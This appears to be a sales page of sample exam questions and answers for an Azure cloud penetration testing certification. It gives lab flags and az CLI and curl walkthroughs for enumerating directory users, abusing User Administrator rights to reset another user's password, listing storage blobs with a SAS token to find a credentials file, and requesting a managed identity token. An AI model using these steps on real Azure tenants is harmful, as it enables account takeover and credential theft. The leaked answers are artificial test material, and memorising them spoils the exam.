CCPenX-Az Exam Questions & Answers
Certified Cloud Pentesting eXpert - Azure • The SecOps Group
100% money-back guarantee
Sample CCPenX-Az Questions
Practice with real exam-style questions, each with the verified correct answer and explanation.
SIMULATION
You've discovered that the compromised user holds directory-level privileges. Enumerate how this role can be abused to compromise another user in the directory. What is the Job Title attribute of the compromised target user?
Flag{92c8bfe4a73f48a6bd94e62fca2179dd}
Detailed Solution:
As the second compromised user, enumerate directory users:
az ad user list --output table
Use a cleaner query to show names, UPNs, and job titles:
az ad user list \
--query '[].{DisplayName:displayName,UPN:userPrincipalName,JobTitle:jobTitle}' \
--output table
You should identify a target user whose profile contains a flag in the jobTitle attribute.
The important target is:
lila.nguyen@azuresecops.onmicrosoft.com
Her jobTitle field contains:
Flag{92c8bfe4a73f48a6bd94e62fca2179dd}
Because the compromised user has User Administrator, you can reset this target user's password and later authenticate as her.
Final Answer:
Flag{92c8bfe4a73f48a6bd94e62fca2179dd}
While exploring the table storage, you've uncovered information that provides limited access to a storage account. Using this access, enumerate the blob containers. Which of the following containers is available?
Detailed Solution:
From Q7, you should recover a limited-access SAS token or storage access information.
Set the storage account name and SAS token:
ACCOUNT='excaliburstore'
SAS='<recovered-sas-token>'
List containers:
az storage container list \
--account-name '$ACCOUNT' \
--sas-token '$SAS' \
--output table
The available container is:
sensitive-files
You can also confirm directly:
az storage blob list \
--account-name '$ACCOUNT' \
--container-name sensitive-files \
--sas-token '$SAS' \
--output table
Final Answer:
C . sensitive-files
SIMULATION
Using a discovered SAS token with read/list permissions, enumerate blobs inside the sensitive-exports container. Which file contains credentials?
service-principal-creds.json
Detailed Solution:
Set variables:
ACCOUNT='prodreportstore01'
CONTAINER='sensitive-exports'
SAS='?sv=2025-01-05&ss=b&srt=sco&sp=rl&se=2026-08-01T00:00:00Z&sig=<signature>'
List blobs:
az storage blob list \
--account-name '$ACCOUNT' \
--container-name '$CONTAINER' \
--sas-token '$SAS' \
--query '[].name' \
--output table
Expected output:
Name
----------------------------
monthly-report.csv
service-principal-creds.json
readme.txt
The credential file is:
service-principal-creds.json
From inside the App Service environment, request an Azure Resource Manager token using the managed identity endpoint. Which resource value should be requested for Azure Resource Manager access?
A. https://graph.microsoft.com/ B. https://management.azure.com/ C. https://vault.azure.net/ D. https://storage.azure.com/
Detailed Solution:
For Azure Resource Manager API calls, the token audience/resource must be:
https://management.azure.com/
Inside App Service Kudu/console, request the token:
curl '$IDENTITY_ENDPOINT?api-version=2019-08-01&resource=https://management.azure.com/' \ -H 'X-IDENTITY-HEADER: $IDENTITY_HEADER'
The response contains:
{ 'access_token': '<jwt-token>', 'resource': 'https://management.azure.com/', 'token_type': 'Bearer' }
Correct option:
During network reconnaissance of an Azure VM, you inspect its Network Security Group. Which inbound rule creates the highest risk?
A. Allow TCP 443 from Internet B. Allow TCP 22 from Internet C. Deny all inbound from Internet D. Allow TCP 1433 from private subnet only
Detailed Solution:
List NSG rules:
az network nsg rule list \ --resource-group rg-prod-apps-eastus \ --nsg-name nsg-prod-linux01 \ --output table
Expected risky rule:
Name Priority Direction Access Protocol Source DestinationPortRange ------------ -------- --------- ------ -------- ------------ -------------------- Allow-SSH 100 Inbound Allow Tcp Internet 22
SSH exposed directly to the Internet is risky because it increases brute-force, credential-stuffing, and remote exploitation exposure. In a hardened Azure environment, SSH should typically be restricted through VPN, Bastion, JIT access, or trusted administrative IP ranges.
Correct answer:
Get access to all 31 verified questions with detailed answers.
Unlock All CCPenX-Az Questions